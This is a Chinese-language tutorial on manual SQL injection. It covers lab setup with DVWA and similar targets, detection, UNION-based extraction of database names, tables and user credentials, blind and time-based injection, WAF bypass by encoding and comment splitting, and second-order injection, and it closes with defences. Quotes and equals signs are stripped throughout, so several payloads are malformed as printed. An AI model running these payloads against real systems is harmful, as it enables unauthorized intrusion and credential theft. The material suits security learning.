1. SQL手工注入基础概念与原理剖析SQL手工注入是一种通过构造特殊SQL语句来操纵数据库的技术手段。与自动化工具不同手工注入需要渗透测试人员对SQL语法、数据库结构和Web应用逻辑有深入理解。这种技术最早可追溯到1998年当时安全研究人员发现通过修改URL参数可以影响后端数据库查询。手工注入的核心原理是利用应用程序对用户输入数据的不充分过滤。当Web应用将用户输入直接拼接到SQL语句中时攻击者可以通过插入特殊字符如单引号改变原SQL语句的逻辑结构。例如-- 原始查询 SELECT * FROM users WHERE id 1 -- 注入后查询 SELECT * FROM users WHERE id 1 OR 11这种技术之所以有效是因为大多数Web应用采用三层架构表示层前端、逻辑层后端和数据层数据库。当逻辑层没有对输入数据进行适当验证和转义时攻击者就能突破表示层的限制直接与数据库交互。2. 注入环境准备与目标识别2.1 实验环境搭建建议使用以下安全环境进行学习DVWADamn Vulnerable Web Application专为安全测试设计的PHP/MySQL应用WebGoatOWASP提供的JavaEE漏洞练习平台SQLi-Labs专注于SQL注入的学习平台安装基础环境# 使用Docker快速部署DVWA docker run --rm -it -p 8080:80 vulnerables/web-dvwa2.2 目标特征识别可能存在SQL注入的典型特征包括URL中包含?id1等数字参数表单提交后URL出现参数网站使用动态内容生成如新闻系统、产品目录错误页面显示数据库报错信息如MySQL语法错误使用浏览器开发者工具观察打开Network面板提交表单或点击链接查看请求参数和响应内容3. 手工注入全流程实战3.1 注入点检测与类型判断数字型注入检测原始URLhttp://example.com/news.php?id1 测试步骤 1. 访问 http://example.com/news.php?id1 - 如果返回数据库错误说明可能存在注入 2. 访问 http://example.com/news.php?id1 AND 11 - 正常显示则继续 3. 访问 http://example.com/news.php?id1 AND 12 - 若内容消失/报错确认是数字型注入字符型注入检测原始URLhttp://example.com/search.php?qtest 测试步骤 1. 访问 http://example.com/search.php?qtest - 观察是否报错 2. 访问 http://example.com/search.php?qtest AND 11 3. 访问 http://example.com/search.php?qtest AND 12 - 比较两次返回差异3.2 确定字段数量使用ORDER BY子句逐步探测http://example.com/news.php?id1 ORDER BY 1-- http://example.com/news.php?id1 ORDER BY 2-- ... 直到出现错误如 Unknown column 5 in order clause 表示字段数为43.3 定位回显字段通过UNION SELECT确定哪些字段会显示在页面上http://example.com/news.php?id-1 UNION SELECT 1,2,3,4--观察页面中显示的数字这些位置可用于后续信息提取。3.4 数据库信息收集获取基础信息# 数据库版本 UNION SELECT 1,version,3,4-- # 当前数据库 UNION SELECT 1,database(),3,4-- # 当前用户 UNION SELECT 1,user(),3,4--3.5 提取表结构通过information_schema获取元数据# 列出所有数据库 UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata-- # 列出指定数据库的表 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schemadvwa--3.6 提取字段数据获取关键表字段# 获取users表字段 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_nameusers-- # 提取用户凭证 UNION SELECT 1,group_concat(user,0x3a,password),3,4 FROM users--4. 高级注入技术与防御绕过4.1 盲注技术当页面没有直接回显时需要使用盲注布尔盲注# 判断数据库名长度 AND length(database())4 # 逐字符猜解 AND substr(database(),1,1)d时间盲注# 通过响应时间判断 AND IF(ascii(substr(database(),1,1))100,sleep(3),0)4.2 编码与混淆技术绕过WAF的常见方法十六进制编码0x61646D696E代替adminURL编码%27代替单引号注释混淆/**/代替空格大小写混合SeLeCt代替select4.3 二阶注入利用数据存储后再触发的特性注册用户名admin--修改密码时触发UPDATE users SET passwordnewpass WHERE usernameadmin-- 5. 防御措施与最佳实践5.1 开发层面防护参数化查询推荐# Python示例 cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))输入验证白名单验证只允许预期字符类型强制转换intval($_GET[id])其他措施最小权限原则数据库账户只赋予必要权限错误处理禁用详细错误信息WAF部署ModSecurity等开源方案5.2 运维层面加固定期更新数据库和中间件禁用不必要的数据库功能secure_file_priv限制文件操作禁用LOAD_FILE/INTO OUTFILE审计日志监控可疑查询6. 实战案例与排错指南6.1 典型错误排查问题1UNION查询列数不匹配The used SELECT statements have a different number of columns解决方案使用ORDER BY确定准确列数确保UNION前后列数一致问题2过滤关键字绕过检测到SQL注入尝试尝试大小写变种SeLeCt注释分割SEL/*xxx*/ECT编码转换CHAR(83,69,76,69,67,84)6.2 综合实战演示以DVWA Low级别安全为例判断注入类型http://dvwa.test/vulnerabilities/sqli/?id1 AND 11确定字段数?id1 ORDER BY 2--获取回显位?id-1 UNION SELECT 1,2--提取数据库信息?id-1 UNION SELECT database(),user()--获取表名?id-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()--提取用户数据?id-1 UNION SELECT user,password FROM users--手工注入需要耐心和细致每个步骤都可能需要多次尝试。关键是要理解背后的SQL逻辑而不是机械地复制payload。在实际安全测试中务必获得授权后再进行操作并遵守法律法规。